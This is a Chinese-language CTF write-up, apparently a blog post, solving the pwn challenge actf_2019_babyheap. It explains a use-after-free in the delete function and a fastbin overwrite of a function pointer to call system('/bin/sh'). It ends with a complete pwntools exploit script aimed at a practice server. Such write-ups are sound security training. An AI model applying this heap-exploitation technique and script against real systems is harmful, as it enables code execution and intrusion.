actf_2019_babyheap【write up】

actf_2019_babyheap

惯例我们先来checksec一下

除了PIE外保护全开的64位程序

由于开启了 Full RELRO因此我们对于got表只有read权限

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zX5wqzwa-1681115412160)(D:\desktop\pwn\笔记\wp\4.9\1681033218686.png)]

放进ida64里看看 去除了符号表 但因为是一道比较标准的菜单题 所以相对来说还是比较轻松的

main函数

标准的菜单题 1添加堆 2删除堆 3 打印堆

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-G9jtPIPF-1681115412161)(1681033652222.png)]

add

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QJJH5D3J-1681115412161)(1681113503455.png)]

show

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3VxfRaUU-1681115412162)(1681113537270.png)]

delete

没有将指针置零 因此存在uaf漏洞

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DPHGR1YR-1681115412162)(1681113553204.png)]

审题完成 开始解题

由于delete函数中存在明显的uaf漏洞 同时add函数中又是先申请一个大小为0x10的chunk 然后再申请大小为size的chunk 且show函数是通过执行大小为0x10的chunk的后八位存储的函数来打印chunk中的内容的 于是我们可以利用fastbin的性质来达成篡改大小为0x10大小的chunk的后八位进而达成执行system('/bin/sh)'

首先我们先申请两个chunk

然后将这两个chunk free掉 这样我们大小为0x10的fastbin就有两个了 此时再申请一个大小为0x10大小的chunk即可

add(0x80,'aaaa')
add(0x80,'bbbb')
delete(0)
delete(1)
add(0x10,p64(bin_sh)+p64(system))
show(0)

然后我们就可以获得到控制权啦

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rooUmBDJ-1681115412162)(1681115393323.png)]

exp

from pwn import *
io=remote('node4.buuoj.cn',29126)
elf=ELF('./ACTF_2019_babyheap')
bin_sh=0x602010
system=elf.plt['system']
context.log_level='debug'
#io=process('./ACTF_2019_babyheap')
def add(size,content):
	io.recvuntil('choice: ')
	io.sendline('1')
	io.recvuntil('size: ')
	io.sendline(str(size))
	io.recvuntil('content: ')
	io.send(content)
	
def delete(idx):
	io.recvuntil('choice: ')
	io.sendline('2')
	io.recvuntil('index: ')
	io.send(str(idx))
	
def show(idx):
	io.recvuntil('choice:')
	io.sendline('3')
	io.recvuntil('index:')
	io.send(str(idx))
	
add(0x80,b'aaaa')
add(0x80,b'bbbb')
delete(0)
delete(1)
add(0x10,p64(bin_sh)+p64(system))
show(0)
io.interactive()
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值